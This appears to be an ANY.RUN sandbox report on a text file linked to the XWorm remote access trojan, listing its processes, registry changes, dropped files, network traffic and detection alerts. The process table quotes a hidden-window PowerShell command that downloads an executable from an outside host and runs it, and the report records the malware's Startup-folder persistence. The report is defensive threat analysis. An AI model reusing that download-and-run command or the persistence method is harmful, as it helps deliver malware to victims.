| File name: | nwa.txt |
| Full analysis: | https://app.any.run/tasks/2ba62649-1f86-492f-a407-9299ea87e9c7 |
| Verdict: | Malicious activity |
| Threats: | XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails. |
| Analysis date: | May 29, 2025, 19:41:29 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with CRLF line terminators |
| MD5: | 66197B0487ED33053443F5370A4B5A35 |
| SHA1: | 06A66ED7BF359A8D496664EC2C9CF56D864F7AAC |
| SHA256: | FC836F5C33AE241B5493FABE491D5A82D1C3EB3AFBBA957D9108DC5DE010BEDF |
| SSDEEP: | 3:VSJJFISFeBwHv+0gTJReAU7G9LB8kzL9Hh3TSrLeDXoSn:s8SFrv+treNGvJFleGLT |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 2284)
Create files in the Startup directory
- pin.exe (PID: 5228)
XWORM has been detected (YARA)
- pin.exe (PID: 5228)
XWORM has been detected (SURICATA)
- pin.exe (PID: 5228)
SUSPICIOUS
Downloads file from URI via Powershell
- powershell.exe (PID: 2284)
Executable content was dropped or overwritten
- powershell.exe (PID: 2284)
- pin.exe (PID: 5228)
Manipulates environment variables
- powershell.exe (PID: 2284)
Checks for external IP
- pin.exe (PID: 5228)
- svchost.exe (PID: 2196)
Contacting a server suspected of hosting an CnC
- pin.exe (PID: 5228)
Connects to unusual port
- pin.exe (PID: 5228)
Reads security settings of Internet Explorer
- SecHealthUI.exe (PID: 6068)
INFO
Reads security settings of Internet Explorer
- notepad.exe (PID: 536)
Disables trace logs
- powershell.exe (PID: 2284)
- pin.exe (PID: 5228)
Manual execution by a user
- powershell.exe (PID: 2284)
Checks proxy server information
- powershell.exe (PID: 2284)
- pin.exe (PID: 5228)
Checks supported languages
- pin.exe (PID: 5228)
- SecHealthUI.exe (PID: 6068)
Reads the computer name
- pin.exe (PID: 5228)
- SecHealthUI.exe (PID: 6068)
Reads the machine GUID from the registry
- pin.exe (PID: 5228)
Reads Environment values
- pin.exe (PID: 5228)
Creates files or folders in the user directory
- pin.exe (PID: 5228)
Launch of the file from Startup directory
- pin.exe (PID: 5228)
Reads the software policy settings
- slui.exe (PID: 6768)
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Total processes
143
Monitored processes
11
Malicious processes
2
Suspicious processes
0
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 536 | "C:\WINDOWS\system32\NOTEPAD.EXE" C:\Users\admin\AppData\Local\Temp\nwa.txt | C:\Windows\System32\notepad.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Notepad Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2284 | "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w hidden -c "$u='https://yho0yvreb.localto.net/PinEnrollmentBroker.exe';$o=$env:TEMP+'\pin.exe';iwr $u -o $o;start $o" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 3036 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 4284 | C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding | C:\Windows\System32\SecurityHealthHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Security Health Host Exit code: 0 Version: 4.18.1907.16384 (WinBuild.160101.0800) Modules
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| 5228 | "C:\Users\admin\AppData\Local\Temp\pin.exe" | C:\Users\admin\AppData\Local\Temp\pin.exe | powershell.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: Version: 1.0.0.0 Modules
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| 5756 | C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding | C:\Windows\System32\SecurityHealthHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Security Health Host Exit code: 0 Version: 4.18.1907.16384 (WinBuild.160101.0800) Modules
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| 6068 | "C:\WINDOWS\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe" -ServerName:SecHealthUI.AppXep4x2tbtjws1v9qqs0rmb3hxykvkpqtn.mca | C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Defender application Exit code: 1 Version: 10.0.19041.3758 (WinBuild.160101.0800) Modules
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| 6480 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
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| 6656 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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Total events
10 206
Read events
10 192
Write events
14
Delete events
0
Modification events
| (PID) Process: | (5228) pin.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\pin_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (5228) pin.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\pin_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (5228) pin.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\pin_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (5228) pin.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\pin_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (5228) pin.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\pin_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (5228) pin.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\pin_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (5228) pin.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\pin_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (5228) pin.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\pin_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (5228) pin.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\pin_RASMANCS |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (5228) pin.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\pin_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
Executable files
2
Suspicious files
4
Text files
2
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2284 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10ef05.TMP | binary | |
MD5:D040F64E9E7A2BB91ABCA5613424598E | SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670 | |||
| 2284 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_bs3n50yt.ilz.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2284 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MH3U2G5ZW7PQGN0OS2GS.temp | binary | |
MD5:F2555265C5D502F430D6C7EF9FCACA76 | SHA256:513D010CD2DC71B8C9B663202C73EAA836CB5A3B4A07C4D2C6F87A0757B074AF | |||
| 2284 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms | binary | |
MD5:F2555265C5D502F430D6C7EF9FCACA76 | SHA256:513D010CD2DC71B8C9B663202C73EAA836CB5A3B4A07C4D2C6F87A0757B074AF | |||
| 2284 | powershell.exe | C:\Users\admin\AppData\Local\Temp\pin.exe | executable | |
MD5:7C2AB5EA8AEF30B690FDE6D060F90275 | SHA256:84F19CE2B881A597F55CBEE6B70B1746995B93A535601F2FDACAD0A97CC47B4E | |||
| 5228 | pin.exe | C:\Users\admin\AppData\Roaming\PinEnrollmentBroker.exe | executable | |
MD5:7C2AB5EA8AEF30B690FDE6D060F90275 | SHA256:84F19CE2B881A597F55CBEE6B70B1746995B93A535601F2FDACAD0A97CC47B4E | |||
| 2284 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:82F43A3D6D8468D590062A76EE388994 | SHA256:8A62114D3D6F7ACCD7B81A3BDECAFFB88C65F3C94D7E7153A2F9DD2F3D146072 | |||
| 2284 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_amghx4k4.jqy.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5228 | pin.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PinEnrollmentBroker.lnk | lnk | |
MD5:326995374F5B7A81E4DF04567EC9B84C | SHA256:13F4FE994AAC60C0F17F7838EDEC3064340B61CA89ACB429E23628F21BC11FD7 | |||
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HTTP(S) requests
11
TCP/UDP connections
46
DNS requests
29
Threats
5
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.48.23.158:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
2924 | SearchApp.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
2924 | SearchApp.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
5228 | pin.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/line/?fields=hosting | unknown | — | — | whitelisted |
5800 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
5800 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
2924 | SearchApp.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D | unknown | — | — | whitelisted |
4156 | SystemSettings.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.48.23.158:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.35.229.160:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
5796 | svchost.exe | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
5256 | RUXIMICS.exe | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
2112 | svchost.exe | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
3216 | svchost.exe | 172.211.123.248:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
6544 | svchost.exe | 20.190.159.71:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
crl.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
www.bing.com |
| whitelisted |
fp.msedge.net |
| whitelisted |
th.bing.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2196 | svchost.exe | Device Retrieving External IP Address Detected | INFO [ANY.RUN] External IP Check (ip-api .com) |
5228 | pin.exe | Device Retrieving External IP Address Detected | POLICY [ANY.RUN] External Hosting Lookup by ip-api |
5228 | pin.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup ip-api.com |
2196 | svchost.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com) |
5228 | pin.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] Xworm TCP Packet |